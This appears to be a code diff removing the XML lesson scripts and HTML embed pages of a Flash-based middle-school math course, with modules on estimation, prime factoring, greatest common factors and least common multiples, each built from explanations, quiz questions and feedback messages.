of the triangle?"/><next branch="false" value="e17"/></seg><seg id="e17" templateId="" url=""><args text="It looks like you can fit four of those triangles into the rectangle, so the area of the triangle must be about a fourth of the area of the rectangle. Half of the rectangle's area is 9 square centimeters, so the area of the triangle must be less than that. The only realistic answer choice is 4.5 square centimeters."/><next branch="false" value="e18"/></seg><seg id="e18" templateId="" url=""><args aPop="That's not the correct answer.  Note that the scale unit is much smaller than the distance from Mendem to Peapack." aText="15 miles" bPop="That's not the correct answer. For the scale to be 5 miles, only three of them would fit between Mendem and Peapack." bText="5 miles" cPop="That's it!" cText="3 miles" correct="c" dPop="That's not the correct answer. If that were true, you could fit 15 scale units between Mendem and Peapack. Try again." dText="1 mile" text="9) Ian knows that the distance from Mendem to Peapack is 15 miles.  What is the best estimate for the distance of the scale on the map?"/><next branch="false" value="e19"/></seg><seg id="e19" templateId="" url=""><args text="First you estimate the size of the scale to be about a fifth the distance between Mendem and Peapack.  The scale must represent a fifth of 15 miles, which is 3 miles.  Also, you can rule out the possibility that the scale represents either 15 miles or 1 mile to make your decision easier."/><next branch="false" value="e20"/></seg><seg id="e20" templateId="" url=""><args aPop="Very good!" aText="23 miles" bPop="That's not the correct answer.  That's the distance from Mendem to Peapack.   Is Far Hills farther or closer to Mendem than Peapack is?" bText="15 miles" cPop="That's not the correct answer.  That's even less than the distance to Peapack." cText="10 miles" correct="a" dPop="That's not the correct answer.  That would be twice the distance from Mendem to Peapack." dText="30 miles" text="10) What is the best estimate for the distance from Mendem to Far Hills?"/><next branch="false" value="e21"/></seg><seg id="e21" templateId="" url=""><args text="Knowing the distance from Mendem to Peapack to be 15 miles, you estimated that the distance to Far Hills was farther, but not twice that distance.  So, the only reasonable estimate available is 23 miles."/><next branch="false" value="e22"/></seg><seg id="e22" templateId="" url=""><args text="Congratulations!  You've completed the Estimation Module!"/><next branch="false" value=""/></seg></clip><clip id="clip2" title="title2"/><clip id="clip3" title="title3"/><clip id="clip4" title="title4"/><clip id="clip5" title="title5"/></section></chapter></chapters></app>
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-<chapters><chapter id="ch1" title=""><section id="sect1" title=""><clip id="Factoring" startSegId="s0" title="Finding Prime Factors" url="factoring.swf"><seg id="s0" templateId="" url=""><args title="Introduction"/><next branch="false" value="s1"/></seg><seg id="s1" templateId="" url=""><args text="If you want to figure out how a gadget works, you can read a manual ... or you can take it apart. That's more fun, and you often learn a lot more. Just don't break something that belongs to someone else. "/><next branch="false" value="s2"/></seg><seg id="s2" templateId="" url=""><args text="Just as you can take apart a watch to see how it works, you can take numbers apart to help you understand them. The nice thing about taking apart numbers is that they don't belong to anybody, and there's no mess to clean up. "/><next branch="false" value="s3"/></seg><seg id="s3" templateId="" url=""><args text="In this section, we'll find out how to break numbers down into their most basic building blocks  - prime numbers."/><next branch="false" value="s11"/></seg><seg id="s11" templateId="" url=""><args title="Prime Factors"/><next branch="false" value="s12"/></seg><seg id="s12" templateId="" url=""><args aPop="That's correct. But what about 6 and 12? Are they factors of 12, too?" aText="2" bPop="That's correct. But what about 2 and 12. Are they factors of 12, too?" bText="6" cPop="That's correct. But what about 2 and 6? Are they factors of 12, too?" cText="12" correct="d" dPop="That's correct. 2, 6, and 12 are factors of 12." dText="All of the above." text="One way to break up a number is to break it up into its &quot;factors.&quot; The number 12 breaks down into 3 times 4. The numbers 3 and 4 are factors of 12. Which of these other numbers is also a factor of 12? "/><next branch="false" value="s13"/></seg><seg id="s13" templateId="" url=""><args text="Here's a list of all of the factors of 12."/><next branch="false" value="s14"/></seg><seg id="s14" templateId="" url=""><args text="If you've been thinking a step ahead, you might have noticed that the number 12's factors can be broken down, too. For instance, 6 can be broken down into 2 times 3. Can we keep breaking these numbers down?  Where does it end? "/><next branch="false" value="s15"/></seg><seg id="s15" templateId="" url=""><args text="You can't break the number 3 down any further. The only factors of 3 are 1 and 3. Breaking 3 down into its factors doesn't get you anywhere."/><next branch="false" value="s16"/></seg><seg id="s16" templateId="" url=""><args text="The number 3 is a &quot;prime number.&quot; A prime number is a number that you can only factor into itself and 1. The numbers 2 and 5 are also prime numbers. Here is a list of the first six primes."/><next branch="false" value="s17"/></seg><seg id="s17" templateId="" url=""><args text="Primes are the basic building blocks of other numbers. Numbers that are NOT prime numbers can be broken down into their prime factors. For example, the number 15 is NOT prime, since you can break it into 3 times 5."/><next branch="false" value="s18"/></seg><seg id="s18" templateId="" url=""><args text="Breaking numbers down into their prime factors is a useful strategy for solving a lot of problems. Let's look at a tool that will help you find prime factors: the Factoring Tree."/><next branch="false" value="s19"/></seg><seg id="s19" templateId="" url=""><args text="Let's find all the prime factors of 18. Here's how the Factoring Tree works:"/><next branch="false" value="s20"/></seg><seg id="s20" templateId="" url=""><args text="First, we find any prime factor of 18. Since 18 is an even number, we know that 2 is a prime factor. Pull the &quot;2&quot; hammer into position above the number 18 and bust it apart. "/><next branch="false" value="s21"/></seg><seg id="s21" templateId="" url=""><args text="The number 2 is a factor of 18. 18 breaks down into 2 times 9. Now 2 and 9 are on the second level of the tree."/><next branch="false" value="s22"/></seg><seg id="s22" templateId="" url=""><args text="2 is a prime number, so we can't go any farther on this branch of the &quot;tree.&quot; However, 9 is NOT a prime; we have to find its prime factors. Try breaking it down with a prime factor of 9.  "/><next branch="false" value="s23"/></seg><seg id="s23" templateId="" url=""><args text="3 is a prime number, so we're done!   The ends of all the Factoring Tree's branches are prime numbers, so there are no more numbers to break apart. "/><next branch="false" value="s24"/></seg><seg id="s24" templateId="" url=""><args Correct="That’s right. Whenever you multiply together the prime factors of a number, you will always get that original number." Incorrect="That is not the correct answer. Check your multiplication!" answer="18" text="You've found all of the prime factors of 18. You can check that these are really the prime factors of 18 by multiplying them together."/><next branch="false" value="s25"/></seg><seg id="s25" templateId="" url=""><args text="Notice that there are two 3s among the prime factors of 18. 3 is a &quot;repeated factor.&quot;  Keep an eye out for these.  They'll be important later."/><next branch="false" value="s26"/></seg><seg id="s26" templateId="" url=""><args text="Try using the Factoring Tree to find the prime factors. You'll get to practice using this Factoring Tree more in the exercises."/><next branch="false" value="s71"/></seg><seg id="s71" templateId="" url=""><args title="Review"/><next branch="false" value="s72"/></seg><seg id="s72" templateId="" url=""><args text="Here's how to find the prime factors of a number."/><next branch="false" value="s27"/></seg><seg id="s27" templateId="" url=""><args text="You can make your own Factoring Trees using pencil and paper any time you need to find the prime factors of a number."/><next branch="false" value="e0"/></seg><seg id="e0" templateId="" url=""><args title="Exercises"/><next branch="false" value="e1"/></seg><seg id="e1" templateId="" url=""><args text="In the following ten exercises, you'll practice breaking numbers apart and finding prime factors.  Let's get started!"/><next branch="false" value="e2"/></seg><seg id="e2" templateId="s26" url=""><args text="Try using the Factoring Tree to find the prime factors of this number.  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Find the prime factors of this number."/><next branch="false" value="e9"/></seg><seg id="e9" templateId="s26" url=""><args text="There are only a few more left.  Try factoring this number."/><next branch="false" value="e10"/></seg><seg id="e10" templateId="s26" url=""><args text="You're factoring like a pro!  Try this one."/><next branch="false" value="e11"/></seg><seg id="e11" templateId="s26" url=""><args text="Here's one final number to factor."/><next branch="false" value="e21"/></seg><seg id="e21" templateId="" url=""><args text="Congratulations!  You've completed the Finding Prime Factors module!"/><next branch="false" value=""/></seg></clip></section></chapter></chapters></app>
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-				'<PARAM NAME="MENU" VALUE="false"> ' +
-				'<EMBED '+
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-		document.write(embedText);
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-					<td><P>The application should be open in a new window. If it isn't you may be using a popup blocker.  Disable the popup blocker and try again or <A HREF="javascript:location.href='movie.html'+location.search">open the application in this window</A>.</p></td>
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-	<tr>
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-					<br><A HREF="http://www.macromedia.com/go/getflashplayer">Install the latest version now.</A></td>
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-				</tr>
-				<tr>
-					<td colspan="2"><P>If you have any technical problems, please contact <A HREF="mailto:support@enspire.com">support@enspire.com</A></P></td>
-				</tr>
-			</table>
-		</td>
-	</tr>
-	<tr>
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-<chapters><chapter id="ch1" title=""><section id="sect1" title=""><clip id="gcf" startSegId="s0" title="Greatest Common Factors" url="gcf.swf"><seg id="s0" templateId="" url=""><args title="Introduction"/><next branch="false" value="s1"/></seg><seg id="s1" templateId="" url=""><args text="If you want to figure out how a gadget works, you can read a manual ... or you can take it apart. That's more fun, and you often learn a lot more. Just don't break something that belongs to someone else. "/><next branch="false" value="s2"/></seg><seg id="s2" templateId="" url=""><args text="Just as you can take apart a watch to see how it works, you can take numbers apart by breaking them down into prime factors.  If you're familiar with prime factors, let's find out how to use them to solve other kinds of problems."/><next branch="false" value="s3"/></seg><seg id="s3" templateId="" url=""><args text="Breaking numbers down into their prime factors will help us solve Greatest Common Factor problems.  What's a greatest common factor?  Lest you think it's some highfalutin abstract concept, let's look at a silly example: it's a little game called Cow Stacking."/><next branch="false" value="s6"/></seg><seg id="s6" templateId="" url=""><args text="Cow Stacking is easy in principle. You take one cow, and stack her on top of another one. You have to stack two herds: 12 black and white Holsteins, and 8 Norwegian Reds. Go ahead, try it out. "/><next branch="false" value="s7"/></seg><seg id="s7" templateId="" url=""><args text="But it gets trickier. There are rules. Rule Number One: You can't mix herds in a stack. You can only stack cows of the same herd. That means you'll have to make at least two stacks.  Also, there isn't room in this pasture to make more than six stacks.  You get to choose how many stacks to make."/><next branch="false" value="s8"/></seg><seg id="s8" templateId="" url=""><args text="Rule Number Two: All of your stacks must contain the same number of cows."/><next branch="false" value="s9"/></seg><seg id="s9" templateId="" url=""><args text="Rule Number Three: You have to use all of the cows."/><next branch="false" value="s10"/></seg><seg id="s10" templateId="" url=""><args text="Got the rules? So, what's the highest stack you can build if you stick to those rules? We'll come back to Cow Stacking and answer this question in a bit, but first, let's learn about greatest common factors."/><next branch="false" value="s29"/></seg><seg id="s29" templateId="" url=""><args title="Greatest Common Factor"/><next branch="false" value="s30"/></seg><seg id="s30" templateId="" url=""><args text="What is a greatest common factor? Let's look at an example. The factors of 10 are 1, 2, 5, and 10. The factors of 15 are 1, 3, 5, and 15. In other words, 10 and 15 share the factors 1 and 5. These are the common factors of 10 and 15. "/><next branch="false" value="s31"/></seg><seg id="s31" templateId="" url=""><args text="Among these common factors of 10 and 15, the largest is 5. That's the greatest common factor, also known as the GCF. Easy, right?"/><next branch="false" value="s32"/></seg><seg id="s32" templateId="" url=""><args aPop="That's not correct. 1 is a common factor of 9 and 12, but it's not the greatest common factor." aText="1" bPop="That's correct. The common factors of 9 and 12 are 1 and 3, so 3 is the GCF." bText="3" cPop="That's not correct. Is 6 a factor of 9?" cText="6" correct="b" dPop="That's not correct. Is 9 a factor of 12?" dText="9" text="So, what's the GCF of 9 and 12?"/><next branch="false" value="s33"/></seg><seg id="s33" templateId="" url=""><args text="Finding a GCF of two numbers is easy in principle. First, find the factors of each number. Then, find the factors they share. Finally, take the greatest of those common factors. That's the GCF! "/><next branch="false" value="s34"/></seg><seg id="s34" templateId="" url=""><args text="Usually, the tricky part is finding all the factors. For larger numbers, that can be quite a bit of work. Let's look at how we can use prime factors to simplify that process."/><next branch="false" value="s35"/></seg><seg id="s35" templateId="" url=""><args text="For example, let's find the greatest common factor of 27 and 99. We'll start with their prime factors."/><next branch="false" value="s36"/></seg><seg id="s36" templateId="" url=""><args text="How can you find the GCF from the prime factors? First, let's group the prime factors and arrange them from least to greatest. "/><next branch="false" value="s37"/></seg><seg id="s37" templateId="" url=""><args Answer="9" correct="That’s correct!  Excellent work." incorrect="That's not the GCF.  Check whether there's another pair of common factors." text="Once you have all the prime factors in front of you, finding the GCF is just a matching game.  Try clicking on a 3 in the first column, then a 3 in the second column.  3 is a factor of 27 and a factor of 99, so 3 is a factor of the GCF.  "/><next branch="false" value="s37a"/></seg><seg id="s37a" templateId="s37" url=""><args Answer="9" correct="That’s correct!  Excellent work." incorrect="That's not the GCF.  Check whether there's another pair of common factors." text="27 and 99 have another prime factor in common.  When you've found both pairs of common factors, click 'Submit'.  The product of the common factors is the GCF."/><next branch="false" value="s38"/></seg><seg id="s38" templateId="" url=""><args text="Let's continue practicing!  Keep in mind that this program automatically finds the product of the common factors for you.  When you solve GCF problems on paper, you'll have to find the product yourself."/><next branch="false" value="s39"/></seg><seg id="s39" templateId="" url=""><args Answer="4" correct="That’s correct!" incorrect="Try again. Check that you’ve found all of the common factors." text="Find the GCF of 28 and 36."/><next branch="false" value="s40"/></seg><seg id="s40" templateId="" url=""><args Answer="5" correct="Excellent work!" incorrect="That is not the correct answer. Try again." text="Find the GCF of 45 and 25."/><next branch="false" value="s41"/></seg><seg id="s41" templateId="" url=""><args Answer="6" correct="Yes, that’s the correct answer!" incorrect="That is not correct. Be sure that you’ve found all of the common factors." text="Find the GCF of 54 and 24."/><next branch="false" value="s42"/></seg><seg id="s42" templateId="" url=""><args Answer="14" correct="Great work!  That's correct." incorrect="That is not correct. Did you find all of the common factors?" text="Find the GCF of 14, 70, and 42. You'll need to select the primes that all three numbers have in common. "/><next branch="false" value="s43"/></seg><seg id="s43" templateId="" url=""><args text="So how about that Cow Stacking game?"/><next branch="false" value="s44"/></seg><seg id="s44" templateId="" url=""><args answer="4" correct="That’s right!  Excellent work!" incorrect="Try again!  Check that you’ve followed all the rules." text="Click and drag the cows to stack them!  Follow the rules and see how high you can make the stacks.  Remember, you get to choose how many stacks to make.  To enlarge the rules, just click on them."/><next branch="false" value="s45"/></seg><seg id="s45" templateId="" url=""><args text="Could you have figured out how many cows would be in each stack before you even started stacking?"/><next branch="false" value="s46"/></seg><seg id="s46" templateId="" url=""><args text="You have to divide both herds of cows into equal stacks. So the height of the stacks has to be a factor of 12 and a factor of 8."/><next branch="false" value="s47"/></seg><seg id="s47" templateId="" url=""><args text="Then, you wanted to make the stacks as high as possible. So the height of the stacks is the GCF of 12 and 8."/><next branch="false" value="s48"/></seg><seg id="s48" templateId="" url=""><args answer="4" correct="Fantastic!  That’s correct." incorrect="Check that you’ve found all the common factors, and try again!" text="Find the GCF of 12 and 8."/><next branch="false" value="s62"/></seg><seg id="s62" templateId="" url=""><args text="Excellent work!  You can use these tools on pencil and paper whenever you need to find greatest common factors.  Here's how you could find the GCF of 16 and 28 on paper."/><next branch="false" value="s71"/></seg><seg id="s71" templateId="" url=""><args title="Review"/><next branch="false" value="s72"/></seg><seg id="s72" templateId="" url=""><args text="In an earlier module, you learned about finding prime factors."/><next branch="false" value="s73"/></seg><seg id="s73" templateId="" url=""><args text="Here's how to find the greatest common factor of two or three numbers."/><next branch="false" value="e0"/></seg><seg id="e0" templateId="" url=""><args title="Exercises"/><next branch="false" value="e0a"/></seg><seg id="e0a" templateId="" url=""><args text="Grab a pencil and paper!  In the following five exercises, you'll practice finding greatest common factors.  After each question, the answer will be explained."/><next branch="false" value="e1"/></seg><seg id="e1" templateId="" url=""><args aPop="Good try — 2 is a factor of all three numbers, but it isn’t the greatest common factor." aText="2" bPop="You’re right. The number 4 goes into all three numbers, and it's the largest number that does so." bText="4" cPop="That's not the correct answer. Think about it. 14 is far bigger than 4, so it can’t be a factor of 4, so it can’t be the greatest common factor of the three numbers." cText="14" correct="b" dPop="That's not the correct answer. Sorry, 28 is neither a factor of 4 nor of 52. Try again." dText="28" text="1) Find the GCF of 4, 28, and 52."/><next branch="false" value="e2"/></seg><seg id="e2" templateId="" url=""><args text="In order to find the GCF, first find the prime factors of each number. Then, multiply together the common factors. The greatest common factor is 4."/><next branch="false" value="e5"/></seg><seg id="e5" templateId="" url=""><args answer="9" correct="Brilliant!  9 is correct." incorrect="That's not the correct answer. Be sure you've broken down the numbers into their prime factors correctly." text="2) Find the Greatest Common Factor of 99, 72, and 63."/><next branch="false" value="e6"/></seg><seg id="e6" templateId="" url=""><args text="In order to find the GCF of 99, 72, and 63, find the prime factors of each and multiply together the common factors. So the greatest common factor is 9."/><next branch="false" value="e9"/></seg><seg id="e9" templateId="" url=""><args answer="6" correct="Good work!  The answer is 6." incorrect="That is not the correct answer. Be sure you've broken down the numbers into their prime factors correctly." text="3) Find the GCF of 108 and 42."/><next branch="false" value="e10"/></seg><seg id="e10" templateId="" url=""><args answer="6" correct="Good work!  The answer is 6." incorrect="That is not the correct answer. Be sure you've broken down the numbers into their prime factors correctly." text="Begin by finding the prime factors of 108 and 42. Multiply together all of the factors that they have in common to find the GCF."/><next branch="false" value="e11"/></seg><seg id="e11" templateId="" url=""><args answer="5" correct="You’re right!  5 students per team would work." incorrect="Check your work and try again. You’re looking for a number that divides evenly into both 25 and 20." text="4) Mrs. Scanlan's homeroom has 25 students and Ms. Ayres's class has 20 students. The two classes are dividing into many equal-sized teams to play lazer tag.  No team can have students from both classes in it, and every student must be on a team.  What's the largest number of students per team?"/><next branch="false" value="e12"/></seg><seg id="e12" templateId="" url=""><args answer="5" correct="You’re right!  5 students per team would work." incorrect="Check your work and try again. You’re looking for a number that divides evenly into both 25 and 20." text="This problem is asking you to find the largest factor of both 25 and 20. That's the GCF!  5 is the only prime factor that they share. So the GCF is 5."/><next branch="false" value="e17"/></seg><seg id="e17" templateId="" url=""><args answer="22" correct="22 is exactly right!  Good work." incorrect="That’s not the correct answer. Check whether you’ve found the prime factors correctly." text="5) Find the GCF of 66 and 110."/><next branch="false" value="e18"/></seg><seg id="e18" templateId="" url=""><args answer="22" correct="22 is exactly right!  Good work." incorrect="That’s not the correct answer. Check whether you’ve found the prime factors correctly." text="What should you do first when finding the GCF? Find the prime factors!  Then multiply the common prime factors. The GCF is 22."/><next branch="false" value="e21"/></seg><seg id="e21" templateId="" url=""><args text="Congratulations!  You've completed the Greatest Common Factors module!"/><next branch="false" value=""/></seg></clip><clip id="clip2" title="title2"/><clip id="clip3" title="title3"/><clip id="clip4" title="title4"/><clip id="clip5" title="title5"/></section></chapter></chapters></app>
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-					'WIDTH="'+customArgs.width+'" ' +
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-					'PLAY="true" ' +
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-					'MENU="false" ' +
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-	<tr>
-		<td bgcolor="#EEEEEE" valign="top">
-
-			<table width="555" border="0" cellpadding="0" cellspacing="25">
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-					<td><P>The application should be open in a new window. If it isn't you may be using a popup blocker.  Disable the popup blocker and try again or <A HREF="javascript:location.href='movie.html'+location.search">open the application in this window</A>.</p></td>
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-					<td><img src="http://enspire.com/images/dark_blue_pixel.gif" width="535" height="1"></td>
-				</tr>
-				<tr>
-					<td><P>If you have any technical problems, please contact <A HREF="mailto:support@enspire.com">support@enspire.com</A></P></td>
-				</tr>
-			</table>
-		</td>
-	</tr>
-	<tr>
-		<td bgcolor="#02528E"><img src="dark_blue_pixel.gif" width="1" height="1"></td>
-		<td bgcolor="#02528E"><img src="dark_blue_pixel.gif" width="555" height="1"></td>
-		<td bgcolor="#02528E"><img src="dark_blue_pixel.gif" width="1" height="1"></td>
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-		<td bgcolor="#EEEEEE" valign="top">
-
-			<table width="555" border="0" cellpadding="0" cellspacing="25">
-				<tr>
-					<td colspan="2"><P>You don't have the latest version of Macromedia Flash Player.</p>
-					<P>This web site makes use of <A HREF="http://www.macromedia.com/software/flash/" TARGET="_new">Macromedia Flash</A> software.
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-					<td><p><A HREF="http://www.macromedia.com/go/getflashplayer"><IMG SRC="get_flashplayer_88_31.gif" BORDER="0" WIDTH="88" HEIGHT="31"></A>
-					<br><A HREF="http://www.macromedia.com/go/getflashplayer">Install the latest version now.</A></td>
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-				<tr>
-					<td><p>If you are using Internet Explorer on a Windows PC, the installation may silently fail if you do not have administrator privileges for your machine.
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-				</tr>
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-					<td colspan="2"><img src="http://enspire.com/images/dark_blue_pixel.gif" width="535" height="1"></td>
-				</tr>
-				<tr>
-					<td colspan="2"><P>If you have any technical problems, please contact <A HREF="mailto:support@enspire.com">support@enspire.com</A></P></td>
-				</tr>
-			</table>
-		</td>
-	</tr>
-	<tr>
-		<td bgcolor="#02528E"><img src="dark_blue_pixel.gif" width="1" height="1"></td>
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-<chapters><chapter id="ch1" title=""><section id="sect1" title=""><clip id="lcm" startSegId="s0" title="Least Common Multiples" url="lcm.swf"><seg id="s0" templateId="" url=""><args title="Introduction"/><next branch="false" value="s1"/></seg><seg id="s1" templateId="" url=""><args text="If you want to figure out how a gadget works, you can read a manual ... or you can take it apart. That's more fun, and you often learn a lot more. Just don't break something that belongs to someone else. "/><next branch="false" value="s3"/></seg><seg id="s3" templateId="" url=""><args text="Just as you can take apart a watch to see how it works, you can break numbers down into their prime factors. Let's expand on the idea of prime factors and use them to solve least common multiple, or LCM problems."/><next branch="false" value="s4"/></seg><seg id="s4" templateId="" url=""><args text="You can use prime factors to solve least common multiple problems you might see on a standardized test, such as this problem:"/><next branch="false" value="s5"/></seg><seg id="s5" templateId="" url=""><args text="We may never know why Linda has to have the same amount of each candy. But you'll soon be solving problems like this one with ease."/><next branch="false" value="s49"/></seg><seg id="s49" templateId="" url=""><args title="Least Common Multiple"/><next branch="false" value="s50"/></seg><seg id="s50" templateId="" url=""><args text="For Linda's candy problem, we'll have to find the &quot;least common multiple.&quot;  But what is the least common multiple?"/><next branch="false" value="s51"/></seg><seg id="s51" templateId="" url=""><args text="To start with, what's a common multiple?  Take the numbers 18 and 60. Multiply them together and you get 1080. 1080 is a common multiple of 18 and 60. But is 1080 the least common multiple?  Do both 18 and 60 go into any numbers that are smaller than 1080?"/><next branch="false" value="s52"/></seg><seg id="s52" templateId="" url=""><args text="To find the least common multiple, start by finding all prime factors of 18 and 60. "/><next branch="false" value="s53"/></seg><seg id="s53" templateId="" url=""><args text="Now let's look at each prime. What about 2s? 18 has one 2, and 60 has two."/><next branch="false" value="s54"/></seg><seg id="s54" templateId="" url=""><args text="Ok, let's talk about 3s. 18 has two 3s, and 60 has one."/><next branch="false" value="s55"/></seg><seg id="s55" templateId="" url=""><args text="Finally, 60 has one 5. 18 doesn't have any 5s. And that's all the primes there are. "/><next branch="false" value="s56"/></seg><seg id="s56" templateId="" url=""><args text="To find the least common multiple, we take the largest batches of primes. 60 has the largest batch of 2s, so we take the two 2s from 60."/><next branch="false" value="s57"/></seg><seg id="s57" templateId="" url=""><args text="18 has the largest batch of 3s, so we take the two 3s from 18."/><next branch="false" value="s58"/></seg><seg id="s58" templateId="" url=""><args text="60 has the only 5, so we take that. Now we multiply those batches of primes together. The least common multiple (LCM) of 18 and 60 is 180."/><next branch="false" value="s59"/></seg><seg id="s59" templateId="" url=""><args Correct="You’re on the right track!  Good work!" answer="60" incorrect="Try again. You can check your work by making sure that 10 and 12 are both factors of the LCM that you find." text="Let's practice. Find the LCM of 10 and 12. Remember, put the largest batch of each prime factor into the LCM box."/><next branch="false" value="s60"/></seg><seg id="s60" templateId="" url=""><args answer="39" correct="Yes, 39 is the correct answer!" incorrect="Try again. Hint: When two numbers have no common factors, their LCM will be the product of ALL their factors." text="Find the LCM of 13 and 3."/><next branch="false" value="s61"/></seg><seg id="s61" templateId="" url=""><args Correct="You’re right!  The LCM is 42." answer="42" incorrect="That is not the correct LCM. Try again. Hint: When one of the numbers has ALL of the factors that each of the others have, that number will be the LCM." text="Find the LCM of 7, 14, and 42"/><next branch="false" value="s62"/></seg><seg id="s62" templateId="" url=""><args text="Excellent work!  You can use these tools on pencil and paper whenever you need to find least common multiples.  Here's how we'd find the LCM of 28 and 42 on paper."/><next branch="false" value="s63"/></seg><seg id="s63" templateId="" url=""><args text="How can you recognize an LCM problem on a standardized test? Let's look at three common types of LCM problems. If you recognize them on a test, you'll have a leg up."/><next branch="false" value="s64"/></seg><seg id="s64" templateId="" url=""><args text="One type of problem involves periods of time. These problems tell you about two or three events that happen on different time schedules and ask: &quot;How often do these events happen at the same time?&quot;  "/><next branch="false" value="s64a"/></seg><seg id="s64a" templateId="" url=""><args text="The answer, the time period between the events happening together, is the LCM of the time periods for each of the separate events."/><next branch="false" value="s65"/></seg><seg id="s65" templateId="" url=""><args text="Here's another type of problem:  There's a large collection of things that can be divided evenly into smaller groups in several ways. You need to find the smallest possible number of things in the large collection.  The key words here are 'smallest' or 'least.'"/><next branch="false" value="s66"/></seg><seg id="s66" templateId="" url=""><args text="The standardized test question we encountered earlier is also an LCM problem."/><next branch="false" value="s67"/></seg><seg id="s67" templateId="" url=""><args text="Here are three clues that this question is asking you to find the LCM:"/><next branch="false" value="s68"/></seg><seg id="s68" templateId="" url=""><args aPop="Not quite, but good attempt. 6 x 3 x 4 is definitely a common multiple, but we need to find the least common multiple of these numbers." aText="Multiply 6 x 3 x 4" bPop="Oops!  We want to find the least common multiple. The GCF won’t help us with that." bText="Find the greatest common factor of 6, 3, and 4" cPop="That’s correct!" cText="Find all of the prime factors of 6, 3, and 4." correct="c" text="Let's find the LCM of 3, 4, and 6, the package sizes of the three types of candy. How should we start?"/><next branch="false" value="s69"/></seg><seg id="s69" templateId="" url=""><args Correct="That’s the right answer!" Incorrect="Try again. Remember to choose the largest batch of each prime factor." answer="12" text="Here are the prime factors. You're ready to find the LCM."/><next branch="false" value="s70"/></seg><seg id="s70" templateId="" url=""><args text="Excellent!  The LCM of 6, 4, and 3 is 12. If Linda wants to buy the same amount of each candy, then the smallest amount of each type of candy that Linda can buy is 12 pieces. "/><next branch="false" value="s71"/></seg><seg id="s71" templateId="" url=""><args title="Review"/><next branch="false" value="s72"/></seg><seg id="s72" templateId="" url=""><args text="Here's a quick review of finding the prime factors of a number:"/><next branch="false" value="s74"/></seg><seg id="s74" templateId="" url=""><args text="You can follow these steps whenever you need to solve an LCM problem:"/><next branch="false" value="e0"/></seg><seg id="e0" templateId="" url=""><args title="Exercises"/><next branch="false" value="e0a"/></seg><seg id="e0a" templateId="" url=""><args text="Grab a pencil and paper -- let's practice finding least common multiples.  There will be five exercises, and after each one, the answer will be explained.  Are you ready?"/><next branch="false" value="e3"/></seg><seg id="e3" templateId="" url=""><args answer="66" correct="Excellent work!  The answer is 66." incorrect="That's not the correct answer. Be sure you've broken down the numbers into their prime factors correctly." text="1) Find the LCM of 6, 11, and 22."/><next branch="false" value="e4"/></seg><seg id="e4" templateId="" url=""><args text="To find the LCM of 6, 11, and 22, start by finding their prime factors. Multiply together the largest batch of each prime factor. So the LCM of 6, 11, and 22 is 66."/><next branch="false" value="e7"/></seg><seg id="e7" templateId="" url=""><args aPop="Reality check: every 4 years is far more frequently than either group of locusts awakens, let alone both!  Try again." aText="4 years" bPop="That’s not correct. What about the locusts that awaken every 13 years?" bText="17 years" cPop="Oops!  You added 17 + 13 instead of finding the least common multiple of 17 and 13!" cText="30 years" correct="d" dPop="You are absolutely right!  The locust groups will appear together every 221 years!" dText="221 years" text="2) Locusts sleep underground for several years at a time. Then, they emerge for one season to mate. One species of locust awakens every 17 years while another group awakens every 13 years. How often will they awaken in the same year? "/><next branch="false" value="e8"/></seg><seg id="e8" templateId="" url=""><args text="You must find the least common multiple of 17 and 13. 17 and 13 are both prime numbers, so their least common multiple is 221."/><next branch="false" value="e13"/></seg><seg id="e13" templateId="" url=""><args aPop="Good job. The least common multiple of 28 and 6 is 84." aText="Once every 84 days." bPop="That's not the correct answer. That could only be the case if 28 were the least common multiple of 28 and 6. For that to be true, 6 would have to be a factor of 28." bText="Once every 28 days." cPop="That's not the correct answer. Elizabeth can't make it to the park every 6 days." cText="Once every 6 days." correct="a" dPop="That's not the correct answer. Neither of our two sunset watchers make it to the park that often." dText="Once every 2 days." text="3) Maurice watches the sunset in Riverfront Park every 6 days. Elizabeth enjoys watching the sunset also, but she only gets the opportunity to go to the park every 28 days. How often do Maurice and Elizabeth happen to be watching the sunset together?"/><next branch="false" value="e14"/></seg><seg id="e14" templateId="" url=""><args aPop="Good job. The least common multiple of 28 and 6 is 84." aText="Once every 84 days." bPop="That's not the correct answer. That could only be the case if 28 were the least common multiple of 28 and 6. For that to be true, 6 would have to be a factor of 28." bText="Once every 28 days." cPop="That's not the correct answer. Elizabeth can't make it to the park every 6 days." cText="Once every 6 days." correct="a" dPop="That's not the correct answer. Neither of our two sunset watchers make it to the park that often." dText="Once every 2 days." text="You need to find the least common multiple of 6 and 28. First, find the prime factors. Take the largest batch of each prime factor, and multiply the largest batches together.  The LCM of 6 and 28 is 84."/><next branch="false" value="e15"/></seg><seg id="e15" templateId="" url=""><args aPop="That's not the correct answer. They can't arrive at the same time more frequently than they arrive alone, can they?" aText="Once every 2 years." bPop="That's not the correct answer. It looks like you added the two numbers instead of finding their least common multiple." bText="Once every 40 years." cPop="Good job. The least common multiple of 14 and 26 is 182." cText="Once every 182 years." correct="c" dPop="That's not the correct answer. 364 is a common multiple of 14 and 26, but it's not the smallest one." dText="Once every 364 years." text="4) Comet Montgomery comes near Earth every 14 years. Comet Waylon approaches Earth every 26 years. How often will they arrive in the same year?"/><next branch="false" value="e16"/></seg><seg id="e16" templateId="" url=""><args text="Explanation: In order to find out when the comets will come near Earth in the same year, you need to find the least common multiple of 14 and 26. After you've found the prime factors, multiply the largest batches. The LCM is 182."/><next branch="false" value="e19"/></seg><seg id="e19" templateId="" url=""><args answer="60" correct="You've done an excellent job! 60 is correct." incorrect="Check your work and try again." text="5) You're having a cookout!  At the store, hot dogs come in packages of 10. Buns come in packages of 12. What is the smallest number of hot dogs you need to buy if you want to buy the same number of hot dogs as buns?"/><next branch="false" value="e20"/></seg><seg id="e20" templateId="" url=""><args answer="60" correct="You've done an excellent job! 60 is correct." incorrect="Check your work and try again." text="Explanation: You need to find the least common multiple of 12 and 10. Multiply all the prime factors except the lone 2. The LCM is 60."/><next branch="false" value="e21"/></seg><seg id="e21" templateId="" url=""><args text="Congratulations!  You've finished the Least Common Multiple module."/><next branch="false" value=""/></seg></clip><clip id="clip2" title="title2"/><clip id="clip3" title="title3"/><clip id="clip4" title="title4"/><clip id="clip5" title="title5"/></section></chapter></chapters></app>
